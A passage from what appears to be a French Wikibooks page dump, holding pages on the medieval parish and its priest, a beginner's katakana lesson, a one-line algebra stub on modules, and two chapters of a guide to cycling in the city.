») et celui de ses ancêtres. *Une partie des prélèvements paroissiaux ; on constate une quasi confiscation des revenus de la paroisse par le seigneur collateur<ref>Michel Aubrun, ''La paroisse en France'', p. 77</ref>. La dîme peut être confiée à un vassal comme un fief. Elle se trouve émiettée entre plusieurs ayant droit et porte sur différents produits (céréales, élevage …) voir sur le commerce, les abeilles ou les moulins. *Des services de la part du desservant : porter un message pour le compte du seigneur par exemple. *Un droit d’entrée au moment de l’investiture du desservant. Le seigneur laïcs remet au desservant un objet symbolique de son église (corde de cloche ou clé)<ref>Michel Aubrun, ''La paroisse en France'', p. 80</ref>. ===Réformes de l'Église=== Devant les différents abus des seigneurs, l'Église se réforme à partir du XI{{e}} siècle afin d'échapper à la tutelle des laïcs. Les premières protestations contre cette ingérence seigneuriale dans la paroisse viennent des moines, en particulier ceux de Fleury. La réforme clunisienne accélère le processus d’autonomie des paroisses : les moines clunisiens sont ordonnés prêtres et disposent d’une influence considérable en Europe occidentale. Le clergé se met à affirmer le principe de restitution des églises et souhaite récupérer tous les revenus qui leur sont liés. Ce mouvement place plusieurs églises rurales sous le contrôle des abbés et des évêques<ref>Michel Aubrun, ''La paroisse en France'', p. 80</ref>. Cependant, il faut souligner que l’ampleur des restitutions varie d’une région à l’autre et qu'il peut se heurter à la résistance des seigneurs. La restitution des églises profite surtout aux moines noirs qui ont su faire pression sur les laïcs pour récupérer les droits de l'Église. En promettant le salut éternel, les moines mettent la main sur plusieurs paroisses rurales. Si cela ne suffit pas, l’Église peut brandir la menace de l'excommunication. Ce mouvement pose désormais un nouveau problème : celui de l'ingérence du clergé régulier dans un domaine réservé au départ aux séculiers. Il faut attendre la fin du XI{{e}} siècle pour que les activités paroissiales soient interdites aux moines<ref>Michel Aubrun, ''La paroisse en France'', p. 83</ref>. Au XII{{e}} siècle, la ''cura animarum'' est réservée aux prêtres et aux chanoines<ref> Nicole Gonthier, ''Éducation et culture dans l’Europe occidentale chrétienne'', Paris, Ellipses, 1998, p.22</ref>. L’ordre cistercien interdit aux moines de profiter des revenus paroissiaux. La réforme grégorienne prolonge cette dynamique : on assiste au relèvement moral du clergé par une lutte contre le concubinage, l’ignorance et la simonie des prêtres. À partir de 1059 (décret de Nicolas II), les papes sont élus par les cardinaux et non plus choisis par l’empereur. Ils sont acclamés par le clergé et le peuple romain. Le pape Grégoire VII (1073-1085) envoie des légats pour déposer les clercs indignes. En 1075, les ''Dictatus Papae'' placent le pape au-dessus de tous les princes et seigneurs laïcs. Les conciles rappellent l’interdiction faite aux laïcs de s’approprier les églises. L’Église lutte contre la privatisation de la paroisse en distinguant le temporel et le spirituel. Elle élabore également une définition plus nette de l’église paroissiale : celle-ci doit impérativement être dotée de fonts baptismaux et d’un cimetière. La paroisse devient de plus en plus le lieu où le fidèle reçoit les sacrements. ===Multiplication des paroisses urbaines (XIIe-XIIIe siècles)=== Avec le renouveau des villes, les églises de quartier concurrencent désormais la cathédrale. Des paroisses urbaines sont fondées à partir du XII{{e}} siècle pour répondre à la croissance démographique. L’agrandissement des murailles témoignent de cet essor (à Paris par exemple) et entraîne la création de lieux de culte ou la promotion de chapelles au rang d’églises paroissiales. Le clergé régulier a souvent fait obstacle à la multiplication des paroisses. Les statistiques dont l'historien dispose soulignent le phénomène : *Louvain (Belgique actuelle) 20 000 habitants, 32 paroisses<ref>Michel Aubrun, ''La paroisse en France'', p. 110</ref>. *Rouen compte 35 paroisses au XII{{e}} siècle *En 1183, l’évêque de Paris, Maurice de Sully, crée 12 paroisses dans l’île de la cité (élévation des chapelles carolingiennes ou de prieurés au rang d’églises paroissiales). Le mouvement continue à Paris jusqu’au milieu du XIII{{e}} siècle. Vers 1300, environ 37 paroisses de taille inégale <ref> Jean Favier, ''Histoire de Paris'', ¨Paris, Fayard, 1997, p.115</ref>. Avec l’élargissement de l’enceinte des paroisses rurales deviennent urbaines. *Au XI{{e}} siècle, l’Angleterre est découpée en 1700 paroisses. Trois siècles plus tard, elles sont 8 à 10 000. ===La fin du Moyen Âge=== Le concile de Latran IV (1215) impose la confession auriculaire annuelle devant le curé. Les paroisses s’enrichissent et la fabrique tient une place de plus en plus notoire dans la gestion des fonds et des bâtiments. Le succès des ordres mendiants au XIII{{e}} siècle crée de nouvelles tensions concernant le partage des revenus de la paroisse. ==Le curé== Avant le XIII{{e}} siècle, on appelle le prêtre de la paroisse «prieur», «recteur» ou «chapelain». Le mot ''curatus'' apparaît au XIII{{e}} siècle, au terme de l’évolution de la paroisse. ===Formation=== Les curés sont souvent d’extraction modeste. Certains ont même des origines serviles ; leur vie ressemble à celle des autres paroissiens si bien que les hérétiques estiment qu’ils sont inutiles et que chacun peut diriger la prière. L’entrée dans la cléricature est imposée par la famille, le plus souvent au cadet, pour des raisons fiscales (exemption de taxes) ou judiciaires (for ecclésiastique). L'enfant apprend à lire dans une école élémentaire de la paroisse, du monastère ou de la cathédrale à partir de l'âge de 6/8 ans. Sa formation se poursuit lorsqu’il gravit les ordres mineurs et majeurs, au contact d’autres clercs. Le niveau culturel des curés semblent s’élever progressivement à partir du XIII{{e}} siècle<ref> Nicole Gonthier, ''Éducation et culture dans l’Europe occidentale chrétienne, Paris, Ellipses, 1998, p.28</ref>. A l’âge de 30 ans, le curé reçoit l’ordination de l’évêque<ref> Nicole Gonthier, Education et culture dans l’Europe occidentale chrétienne'', Paris, Ellipses, 1998, p.26 ; Claude Gauvard (dir), ''Dictionnaire du Moyen Âge'', article « prêtre » p.1139</ref>. Le prêtre de la paroisse possède alors la charge des âmes de sa paroisse. ===Devoirs=== La réforme grégorienne a combattu les défauts du clergé séculier. Le concile de Latran III en 1179 fixe l’obligation de résidence, de non-cumul (une seule cure) et d’âge minimum ; il exige que les curés soient prêtres. La visite annuelle de l’évêque du diocèse permet de contrôler le niveau d’instruction du curé. Le curé est le « garant de la tradition chrétienne »<ref>Michel Aubrun, ''La paroisse en France'', p. 7</ref>. Gardien de l’âme des fidèles dont il a la charge, il doit veiller au salut de tous. C’est pourquoi le curé doit mener une action pastorale en continu : il prononce les sermons au cours de la messe dominicale. La confession représente une occasion d’instruire le fidèle. Le curé recueille les serments de paix, distribue les sacrements, traque les hérétiques. Il doit assister au synode une à deux fois par an au palais épiscopal : les problèmes de discipline, de morale, de liturgie et de dogme sont rappelés dans les sermons de l’évêque. Le dernier jour, les curés reçoivent la bénédiction de leur évêque. Ils doivent être en possession du livret des statuts sous peine d’amende. Ce livret expose ce que le curé doit savoir et ce qu’il doit faire. Il doit être appris par coeur<ref> Nicole Gonthier, ''Éducation et culture dans l’Europe occidentale chrétienne'', Paris, Ellipses, 1998, p.23</ref>. La réglementation rappelle certaines obligations : le curé doit porter un vêtement sobre ; il doit s’abstenir de porter une arme, de se divertir avec les jeux de hasard, de faire du commerce, de boire de l’alcool ou de pratiquer l’usure. Le célibat et la chasteté sont imposés aux XII{{e}} et XIII{{e}} siècles. Malgré les conciles et les réformes, les défauts subsistent encore : paroisse sans desservant, curé vivant en concubinage, hérédité (transmission d’oncle à neveu) ===Un clergé hiérarchisé=== Le curé est l'un des maillons de la hiérarchie ecclésiastique au Moyen Âge : il est assisté par des clercs des ordres mineurs : *le portier sonne la cloche de l’église et garde les portes ses portes *l'exorciste écarte les excommuniés, impose les mains pour chasser les démons *le lecteur lit les Ecritures pendant l'office *l'acolyte apporte les cierges et le vin de messe. Dans les paroisses importantes, le curé doit payer un vicaire qui peut le remplacer en cas d'absence. ==L’institution paroissiale au XIIe siècle== ===Les revenus=== *la dîme ne permet pas au curé de vivre. *les offrandes, le casuel = au cours des mariages, visites, confession, messe pour les morts ; aux grandes fêtes, les fidèles offrent des cierges ou de l’argent ; les quêtes des messes et des funérailles ; *le droit de sépulture : en cas d’usurpation on peut demander à exhumer le corps et l’enterrer dans le bon endroit<ref>Michel Aubrun, ''La paroisse en France'', p. 90</ref>. Elle constitue la ressource la plus importante du curé : on comprend pourquoi elle devient un enjeu entre les ordres mendiants et les curés des paroisses urbaines au XIIIe siècle. Le casuel sur la sépulture est soit prévu dans le testament du défunt, soit prélevé à hauteur d’un tiers de sa fortune mobilière (tierçage) <ref>Michel Aubrun, ''La paroisse en France'', p. 131</ref>. *Le curé dispose aussi d’un jardin qu’il cultive et de rentes foncières. Cela lui procure d’autres revenus. Il peut améliorer ses ressources par l’artisanat. *le prélèvement de l’évêque : droit synodal, droit de gîte, une partie de la dîme, un cens. ===Les dépenses=== *entretien du marguillier, du maître d’école, du vicaire salarié qui remplace le curé en cas d’absence ou qui le seconde dans les grandes paroisses. *l’entretien de l’église paroissiale revient au seigneur fondateur, prêtre et fidèles. *La paroisse s’organise en communauté : la fabrique est gérée par des laïcs, ce qui est nouveau ; le marguillier est le plus souvent un notable. *Les confréries expriment une piété spécifique : elle agit comme une caisse d’entraide (cotisations proportionnelles aux revenus, en général modestes), un lieu de sociabilité et de prières communes ; associations pieuses qui s’éloignent du curé ; but : funérailles dignes, entretien des chemin, chasser les loups ; manifestations : banquet, serment exigé, ouvertes aux femmes => devant cette autonomie, le clergé exprime ses réticences. ==La vie des laïcs dans la paroisse== La paroisse est le cadre de vie quotidienne des laïcs au XIIe siècle *Les paroissiens doivent respecter les fêtes chrétiennes et le temps chômé : on a pu calculé que 50 à 60 journées par an devaient être chômées, sans compter les fêtes locales<ref>Michel Aubrun, ''La paroisse en France'', p. 142</ref>. Le repos du dimanche n’est pas toujours respecté. Le curé peut alors imposé une amende aux contrevenants. *L’excommunication : à rédiger. ===La paroisse, lieu de services=== *Les écoles paroissiales se multiplient à partir du XI{{e}} siècle, surtout en ville : elles sont tenues par des clercs et sont ouvertes aux jeunes laïcs. Seuls quelques enfants suivent régulièrement l’école paroissiale. Enseignement primaire et éducation religieuse sont liés : les évêques sont appelés à multiplier les écoles paroissiales en ville et à la campagne (concile de Latran IV, 1215). *La sécurité et l’asile : l’espace qui entoure l’église est considéré comme inviolable. Dans l’atrium, un enclos protégé qui se couvre d’habitations comme le cimetière. Dans les églises fortifiées (Xe – XIe siècles) et par les milices de paix levées par les curés (attaque du Puiset). *bénédictions par les prêtres : moissons *la mort : les meilleurs emplacements pour les sépultures sont « le plus près possible des gouttières du toit afin d’en recevoir l’eau sanctifiée par l’édifice » <ref>Michel Aubrun, ''La paroisse en France'', p. 96</ref>. Cet usage s’efface lorsqu’on asperge le cadavre avec de l’eau bénite, à partir du XIII{{e}} siècle. L’inhumation à l’intérieur des édifices religieux est interdite par les conciles. Mais cette interdiction n’est forcément respectée. Le cimetière est un lieu d’asile : les marchés, les foires s’y tiennent ; on y dépose la dîme ; on peut y chercher la protection contre les mauvaises coutumes ; on y trouve des habitations. ===Les sacrements=== L’existence des fidèles est rythmée par les sacrements : ne pas les recevoir signifie vivre en marge de la communauté des fidèles et être condamné à l’enfer. *le baptême *la confirmation est le deuxième sacrement : le jeune doit confirmer les engagements pris pour lui par son parrain et sa marraine au moment de son baptême. Il se pratique à l’âge de raison (7 ans) avec imposition des mains et signe de croix avec huile consacrée par le curé. Dans la pratique, c'est une cérémonie relativement rare<ref>Danièle Alexandre-Bidon, Didier Lett, ''Les enfants au Moyen Âge'', Paris, Hachette, 1997, p.55</ref> *le mariage et le divorce : à rédiger *l'Eucharistie est célébrée par le prêtre : celui-ci acquiert un pouvoir quasi miraculeux, celui de consacrer les espèces et de participer au mystère de la transsubstantation. *la confession et la pénitence : à rédiger *l’extrême-onction pour les malades (viatique) Conclusion : au cours du Moyen Âge, la paroisse devient le cadre de vie des chrétiens et le rôle du curé s’accroît. Elle permet à l’Eglise d’encadrer strictement les pratiques religieuses et de contrôler les croyances. Les paroissiens se resserrent autour de leur église. =Notes sur la paroisse= <references/> =Bibliographie= ==Sur le rôle de l'Eglise== *Jérôme Baschet, « Hors de l’Eglise, point de Salut ! », dans ''L’Histoire'' n°305, janvier 2006, pages 36-43 ==Sur la paroisse== *Claude Gauvard, Alain de Libera, Michel Zink (dir.), ''Dictionnaire du Moyen Âge'', Paris, Presses Universitaires de France, 2002. *Michel Aubrun, ''La paroisse en France. Des origines au XV{{e}} siècle'', Paris, Picard, 1986. *Michel Aubrun, ''Moines, paroisses et paysans'', 2000. *« La paroisse en France », dans M. Balard, J.-P. Genet, M. Rouche, ''Le Moyen Âge en Occident'', Paris, Hachette Supérieur, 2003, p.183. Japonais:Lecon Katakana 1 8485 44573 2006-06-15T06:37:29Z 86.199.66.11 /* Catégorie N°4 : C'est des Kanji */ = le tableau = Voici la liste complète .. comme vous pouvez le constatez c'est rigoureusement la même que les Hiragana sauf que les signes ont changés {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> | &nbsp; | <big>ア</big> | <big>イ</big> | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> ! k | <big>カ</big> | <big>キ</big> | <big>ク</big> | <big>ケ</big> | <big>コ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> ! s | <big>サ</big> | <big>シ</big> | <big>ス</big> | <big>セ</big> | <big>ソ</big> |- ! t | <big>た<big> | <big>ち<big> | <big>つ<big> | <big>て<big> | <big>と<big> ! t | <big>タ</big> | <big>チ</big> | <big>ツ</big> | <big>テ</big> | <big>ト</big> |- ! n | <big>な<big> | <big>に<big> | <big>ぬ<big> | <big>ね<big> | <big>の<big> ! n | <big>ナ</big> | <big>ニ</big> | <big>ヌ</big> | <big>ネ</big> | <big>ノ</big> |- ! h | <big>は<big> | <big>ひ<big> | <big>ふ<big> | <big>へ<big> | <big>ほ<big> ! h | <big>ハ</big> | <big>ヒ</big> | <big>フ</big> | <big>ヘ</big> | <big>ホ</big> |- ! m | <big>ま<big> | <big>み<big> | <big>む<big> | <big>め<big> | <big>も<big> ! m | <big>マ</big> | <big>ミ</big> | <big>ム</big> | <big>メ</big> | <big>モ</big> |- ! y | <big>や<big> | | <big>ゆ<big> | | <big>よ<big> ! y | <big>ヤ</big> | | <big>ユ</big> | | <big>ヨ</big> |- ! r | <big>ら<big> | <big>り<big> | <big>る<big> | <big>れ<big> | <big>ろ<big> ! r | <big>ラ</big> | <big>リ</big> | <big>ル</big> | <big>レ</big> | <big>ロ</big> |- ! w | <big>わ<big> | | <big>ん<big> | |<big>を<big> ! w | <big>ワ</big> | | <big>ン</big> | | <big>ヲ</big> |} = Essayons de réorganiser la chose.. = Comme on connait, l'organisation du tableau ainsi que l'ordre des voyelles.. on n'a pas forcement besoin de les apprendres dans l'ordre. Je vous propose de découper le tableau en plusieurs catégories.. cela hélas ne vous empechera pas de devoir refaire plein de ligne d'écriture. = Catégorie N°1 : il ressemble au hiragana = Ils ressemblent exactement au hiragana en plus "carré" .. * カ=か=ka * キ=き=ki * コ=こ=ko * ヘ=へ=he * セ=せ=se * リ=り=ri * モ=も=mo * ヤ=や=ya = Catégorie N°2 : les "très pénibles" = Ici nous alons apprendre ici à différentier tsu, shi, so, no et n c'est beaucoup plus simple que l'on ne pense .. == シ shi et ツ tsu == [[Image:Difference between tsu and shi in japanese katakana.png|500 px|comment différencier shi et tsu]] *en bleu, le shi et tsu en hiragana *en noir, le shi et tsu en katakana *en vert, l'ordre des traits... *en rouge, le "mouvement" du pseudo pinceau... Vous voyez la ressemblance. == N, ソ So et ノ No == [[Image:Difference between N and So and No in japanese katakana.png|500 px|comment differencier N,So et No]] *en bleu : le N, So et No en hiragana *en noir : le N, So et No en katakana *en vert : l'ordre des traits .. *en rouge :le "mouvement" du pseudo pinceau .. pour so il faut juste regarder le haut ! ==Catégorie N°3 : Ils ressemblent aux lettres latines== Ils ressemblent aux lettres latines mais avec un peu d'imagination... Ce sont les katakanas de *<font size="+15" color="blue">A ア</font> tourner un peu le katakana, on y croirait presque <br /><br /> *<font size="+15" color="blue">I イ</font> supprimer la barre du I (attention a ne pas le confondre avec エ(e))<br /><br /> *<font size="+15" color="blue">Ke ケ</font> tourner de 45° à gauche les katakana <br /><br /> *<font size="+15" color="blue">Te テ</font>Bon pas grand chose à dire, certain voie des poteaux '''té'''légraphique, d'autre voit aussi le Logo de la Pos'''Te''' japonaise mais je n'ai hélas pas d'image à vous proposer <br /><br /> ==Catégorie N°4 : C'est des Kanji== Tout les katakana sont des déformations des Kanji. c'est le cas pour trois d'entre eux qui sont de parfaite copie du kanji *チ '''chi''' vient de '''mille''' qui se dit '''chi''' ou '''sen'''. Il faut penser à la préfecture de '''Chi'''ba *ハ '''ha''' vient de '''Ha'''chi qui signifie 8... Comment le retenir ? Essayez de voir un bâton que l'on casse en deux. Ok ? Et bien huit est un chiffre facilement divisible par deux !!(2*2*2=8!). *ミ '''mi''' vient de '''mi'''ttsu qui signifie 3... Bon trois traits facile... Ceux qui ont fait une prépa peuvent essayer ce petit moyen mnémotechnique (3/2)... trois demi... donc '''trois''' donne '''mi''' Voila la partie 1 se termine .. dans la partie 2 nous allons continuer notre périple.. Vous avez déja vus une vingtaine de Katakana suite et fin dans le prochain épisode. Algèbre:Module 8486 43659 2006-05-31T20:10:09Z 82.246.172.103 Un module est une sorte d'espace vectoriel affaibli : le corps y est remplacé par un anneau Guide du vélo en ville/Pourquoi faire du vélo en ville ? 8487 45404 2006-06-22T14:56:47Z 82.230.169.123 /* Rapide et accessible au plus grand nombre */ {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. La pratique du vélo est le plus souvent associée aux loisirs, au sport, aux promenades en plein-air, aux jeux des enfants, mais plus rarement aux transports utilitaires des personnes (et encore moins des marchandises). Utilisé comme mode de transport, et spécialement en ville, le vélo serait beaucoup plus dangereux que les autres moyen de déplacement, plus fatiguant, surtout si la ville dans laquelle on habite n'est pas plate, plus sujet au vol. Autant de défauts qui ne révèle vite infondés. == Arguments en faveur du vélo == Économique, écologique, bon pour le moral et ta santé : l'essayer, c'est l'adopter ! Pour un argumentaire complet, rendez-vous sur le site de la FUBicy : http://www.fubicy.org/argumentaire/index.html === Rapide et accessible au plus grand nombre === le vélo serait lent : pas vrai en ville Et quand la majorité des déplacements urbains concernent des distances de quelques kilomètre, 3 à 5 km, l'équivalent d'un petit tour de vélo est autant voir plus rapide que les autres modes de déplacement, surtout aux heures de pointe ! Imagine un compteur de vitesse moyenne sur une voiture en ville : bonjour la moyenne ! Facilité de stationnement Le vélo serait fatigant : c'est au contraire le mode de déplacement utilisant la force physique le plus efficace : moitié moins d'énergie nécessaire que pour marcher ! + la question de la forme physique : si faire du vélo ne peut qu'être bon pour votre forme physique (comme tout exercice physique), il n'est pas nécessaire pour le vélo urbain d'avoir une condition physique particulière : pas d'entraînement nécessaire ! c'est pas du sport : pas arriver en sueur au boulot : utiliser les vitesses, rouler tranquillement, c'est pas la course ! + Pour ce qui est de la distance, il y a deux approches: Un trajet qui prend en vélo entre 20 et 30 minutes en mode relax est fort acceptable et ne nécessite pas d'habillement particulier. Le matin, il fait en général relativement frais, même en plein été. Et comme on n'est pas à la course, on ne transpire pas tant que ça. Et dites vous que plus vous gagnerez la forme, moins vous transpirerez inutilement. + Pour un plus long parcours, il faut peut-être réfléchir davantage à son habillement ou encore choisir de compléter une partie du parcours avec le métro ou le train de banlieue, par exemple. Pour la forme, pas de problème, en roulant régulièrement, vous avez de bien bonnes chances de la retrouver... Allez-y tranquillement, une ou deux fois par semaine, c'est un bon début. Savoir jongler avec les différents moyens de transports : voitures, parking à l'entrée des villes, transports en commun (ceux dans lesquels le vélo est accepté) === sûr === *Le vélo serait dangereux : plus il y a de cyclistes, moins c'est dangereux *Si vous conduisez bien, il y a moins de dangers (éclairage par exemple) *tendance actuelle à la baisse des accidents pour les vélos : pas plus dangereux que la voiture en ville (alors qu'on compte les accidents concernant des enfants cyclistes dans les accidents). Et puis grâce à la rupture avec la sédentarité que le vélo permet, les cyclistes vivent en meilleure santé plus longtemps que les autres ! La plupart des accidents de cyclistes ont lieu sans voiture : le plus gros problème est les mauvaises surfaces et le manque d'expérience des cyclistes. Ensuite, vient le non-respect des règles en usage sur les routes par les cyclistes. Quand une collision avec une voiture arrive, même dans le cas où le cycliste n'est pas en cause, il aurait pu, en améliorant sa visibilité, en anticipant les trajectoire et se ménageant une voie de secours, en réagissant rapidement, éviter l'accident. En ville le nombre d'accidents où l'automobile heurte le cycliste par l'arrière est faible. Les accidents se produisent plutôt quand les trajectoires se coupent la peur de la collision par l'arrière : ce risque est généralement surestimé par les cyclistes, qui du coup adoptent des pratiques vraiment risquées pour tenter de réduire ce risque. être bien placé et visible (surtout la nuit avec l'éclairage) permet d'éviter la collision arrière. + Je n'aime pas circuler dans le trafic Alors, ne roulez pas dans le trafic! On choisit son itinéraire pour qu'il soit agréable. Dans les plus petites rues ou par les pistes cyclables, il y a moins de monde, moins de poussière et c'est bien plus beau que sur les grands boulevards (en plus, pour piquer des idées de jardinage aux voisins, c'est merveilleux). + face au vol, de bonnes pratiques (antivol efficace, lieu de stationnement, marquage du vélo...) Attacher le cadre et toutes les pièces facilement démontables (roue avant, selle) à un point fixe ou les prendre avec soi. Quand on débute à vélo dans une grande ville, on peut facilement se sentir devenir parano... Mais c'est généralement mieux que ça à l'air vu du trottoir. Pédaler en toute confiance, en sécurité et dans le respect de la loi. Le vélo a sa place dans la circulation, c'est un droit, mais qui ne sera pas toujours respecté : il faut donc être plus prudent que les autres usagers pédaler en sécurité ne repose pas sur la chance ou sur le comportement des automobilistes, cela dépend d'abord de votre attitude, de votre manière de conduire votre véhicule. être maître de sa trajectoire, attentif à tout ce qui pourrait subvenir... L'objectif de ce texte, voulu le plus court et clair possible : augmenter votre sécurité et votre confiance quand vous circulez à vélo, que vous soyez débutant ou déjà expérimenté. Commence par les conditions dans lesquelles tu te sens le plus à l'aise puis passe progressivement à celles qui sont plus difficiles à appréhender. Ce livre t'y aidera. Tu peux t'entraîner à rouler sur ton vélo sur un espace sans voiture : parking désert, place piétonne. L'objectif est de se sentir totalement à l'aise, ne faire qu'un avec lui. Pour qu'un fois dans la circulation tu n'ai plus qu'à te concentrer sur ta place par rapport aux autres usagers. Le code de la route s'applique à tous les conducteurs de véhicules, quelque soit le type du véhicule. Le vélo fait donc partie de la circulation comme les voitures, peut s'attendre à être traité comme les autres usagers. Mais si le cycliste a donc aussi des obligations, on ne sait pas toujours comment faire. Cette brochure tentera de montrer comment faire. Chercher à éviter l'espace des voitures te rend plus vulnérable. Pour conduire en sécurité, il faut pouvoir analyser l'ensemble des informations sur les conditions de circulation à un moment donné. Ce qui n'est pas évident pour les enfants. Leur apprentissage doit donc se faire sous la responsabilité d'un accompagnant. cinq principes de bases : #Toujours circuler sur le côté droit de la voie de circulation, jamais sur le côté gauche ni sur le trottoir ou l'accotement #À l'approche d'une route plus importante que celle sur laquelle on se trouve ou sur laquelle il y a plus de circulation ou des véhicules à vitesse importante, toujours regarder des deux côtés avant de s'engager pour vérifier que la voie est libre pour votre passage #quand on modifie sa trajectoire sur la droite ou la gauche, toujours regarder devant et derrière pour vérifier si cela est possible sans risque. Le fait de regarder derrière indique également aux autres usagers votre intention, mais confirmer votre intention par un signe de la main. # À l'approche d'une intersection, se positionner en fonction de la direction que l'on va prendre : à droite si on va à droite, à gauche si on va à gauche, proche du centre, et au centre si on va tout droit. # se positionner en fonction de sa vitesse relative à celle des autres usagers, entre les intersections : en stationnement, contre le bord, les lents à côté, les plus rapides sur la gauche, proche du centre. Cela peut paraître bête, surtout si l'on connaît le code de la route, mais cela doit être rappelé car il n'y a pas de permis pour les vélos Un bon positionnement est la compétence la plus importante à acquérir pour un cycliste. Mais c'est bien souvent là que le bat blesse : de nombreux cyclistes ne se positionne pas correctement par peur de la circulation, se mettant ainsi, paradoxalement, en danger. Un bon positionnement augmente votre marge de sécurité en roulant là où vous aurez la meilleure vue, là où vous serez le mieux vu par les autres et vos intentions les plus prévisibles. Mais cela ne suffit pas pour être totalement en sécurité : il faut également, comme tout usager, être vigilant par rapport aux comportements des autres, prévoir leurs erreurs, quand la visibilité est faible, aux intersections, ou quand un comportement paraît bizarre. l'avantage du cycliste : il est, comme le piéton, en contact direct avec l'ensemble de son environnement : contrairement à l'automobiliste qui est enfermé dans sa voiture : le cycliste doit tirer avantage de cette situation : il peut et doit, comme le piéton, établir un contact visuel avec les autres usagers, il peut indiquer avec des signes des mains ses intentions, remercier un autre usager, attirer l'attention, etc... Cela permet de baisser le niveau d'agressivité entre usagers en humanisant les rapports, en signifiant à l'autre qu'on voit son comportement. [[Guide du vélo en ville|<< Guide du vélo en ville]] | Pourquoi faire du vélo en ville ? | [[Guide du vélo en ville/Une question d'équipement|Une question d'équipement >>]] Guide du vélo en ville/Une question d'équipement 8488 43888 2006-06-05T15:09:27Z Fabrice 1558 {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. Avant toute chose, tu dois avoir la possibilité matérielle de mettre en pratique ce qui est dit dans ce livre. C'est-à-dire avoir un vélo qui t'assurera la meilleure conduite possible. (les items suivant sont à classer : indispensables, obligatoires, de comfort, ...) == Le vélo == Il doit être adapté à ta manière de rouler, à où tu vas rouler. Il existe une grande variété de vélo. Pour une question de comfort, le vélo doit être adapté aux dimensions de ton corps. === Un cadre à la bonne taille === La hauteur du tube supérieur doit ne pas être trop importante : il est essentiel du pouvoir se tenir debout à cheval sur le cadre, devant la selle., distance selle/guidon.. Manivelles, potence, guidon, selle peuvent être changés pour une meilleure adaptation du vélo. Selle : à niveau, centrée sur ses rails par rapport à la tige de selle. Hauteur de la selle : jamais assez haut ! La jambe doit pouvoir s'étendre mais sans trop. Guidon : si de longs parcours, préférer guidon permettant de changer position des mains. === En bon état de marche === Récent ou très vieux, ton vélo doit être en parfait état de marche : les vitesses doivent changer sans problème (danger en cas de saut de chaîne dû à un mauvais entretien de la transmission, chaîne+dérailleurs+pignons+plateaux), les freins fonctionner correctement et sans à-coup (vérifier patins et câbles). Vérifier serrage des boulons et attaches-rapides (pour roues notamment, mais aussi guidon, selle, freins), pneus bien gonflés (les regonfler régulièrement en respectant pression donnée par le fabricant indiquée sur le pneu), sans défaut. Le vélo doit être régulièrement lublifié, regraisser : à faire faire par un professionnel si on ne fait pas comment faire. surveiller freins (usure des patins), câbles et gaines, boulons et écrous à resserer régulièrement. === Visible === Des réflecteurs sont une bonne option mais ne remplace pas des lumières. Voir [[Guide du vélo en ville/Roulez sous la pluie, dans l'obscurité|Roulez sous la pluie, dans l'obscurité]] pour plus de détails. Phare halogène restant allumé à l’arrêt grâce à un petit accumulateur, dynamo fonctionnant en toutes circonstances… === Plusieurs vitesses === Le dérailleur permet de changer de vitesse, quand le vélo en a plusieurs. Le meilleur indicateur, c'est la cadence du pédalage : ne doit jamais être trop basse. Il faut éviter de forcer, mieux vaut changer de vitesse (passer sur un pignon, sur roue arrière, plus grand ou un plateau, sur pédalier, plus petit). Sur les dérailleurs, au moment de changer de vitesse, il est préférable de relâcher l'effort (surtout pour le changement de plateau) == Casque ou pas casque ? == En ce qui concerne le vélo urbain, le casque est un plus mais pas forcément indispensable. En effet, si le casque est vraiment une bonne chose pour prévenir le risque de blessure à la tête (porter un casque toute les fois que l'on est sur le vélo peut réduire le risque de traumatisme crânien grave de 85%), ce n'est pas le type de blessure le plus courant pour les cyclistes urbains. Il est conseillé pour les enfants, ceux qui ne sont pas totalement à l'aise dans leur pratique. Il est indispensable quand on est hors agglomération, sur pistes de VTT ou dans contexte d'une pratique sportive du vélo. Le casque doit être bien ajusté (la sangle sous le menton doit laisser passer un doigt : attention à ne pas gêner la respiration !), couvrir le front. == Écarteur de danger == Incite les voitures à respecter la distance de sécurité nécessaire pour te dépasse. == Sonnette, avertisseur sonore = Pour se faire entendre, avertir les piétons principalement, mais aussi les automobilistes == Rétroviseur == Il peut être très utile pour circuler en ville : monté sur le casque (réduit les vibrations et l'encombrement) ou sur le guidon (un rétro pour cyclomoteur fera l'affaire), ne doit pas dissuader de jeter des coup d’œil un peu partout. == Gants == Des mitaines améliore ton confort pour de long trajet en amortissant les chocs et la pression sur les paumes de tes mains. Elles sont également utiles en cas de chute en protégeant les paumes. L'hiver, de bons gants bien chauds sont indispensables ! == Des lunettes == Pour se protéger des insectes, des poussières en suspension, garder les yeux secs, éviter éblouissement par le soleil : bref, continuer à bien voir. == Carter == Pour protéger les vêtements, les mollets de la chaîne et des plateaux. Mais également la chaîne des poussières de la route, contribue à sa longévité. == Garde-boue == Quand il pleut... == Pare-jupe == Pour éviter que des vêtements longs se prennent dans la roue arrière, ce qui peut être dangereux. == Béquille== Très pratique, pas la peine de chercher un endroit où poser le vélo. == Des vêtements clairs, des bandeaux ou gilets avec réflecteurs...== == Outils == Une pompe (mini ou fixée sur le cadre), un nécessaire à crevaison ou une chambre à air de rechange et un multi-outils, à condition de savoir comment faire, te permettra de repartir rapidement en cas de crevaison. Dans ce cas, il te faut deux démonte-pneu en plastique, clés adaptées aux boulons des roues si pas d'attache rapide. Trucs : pour enlever roue arrière : mettre la chaîne sur petit pignon et petit plateau, elle est plus détendue; ouvrir les freins; enlever la roue en tirant en arrière le dérailleur arrière avec un main pour le mettre, avec la chaîne, hors du passage 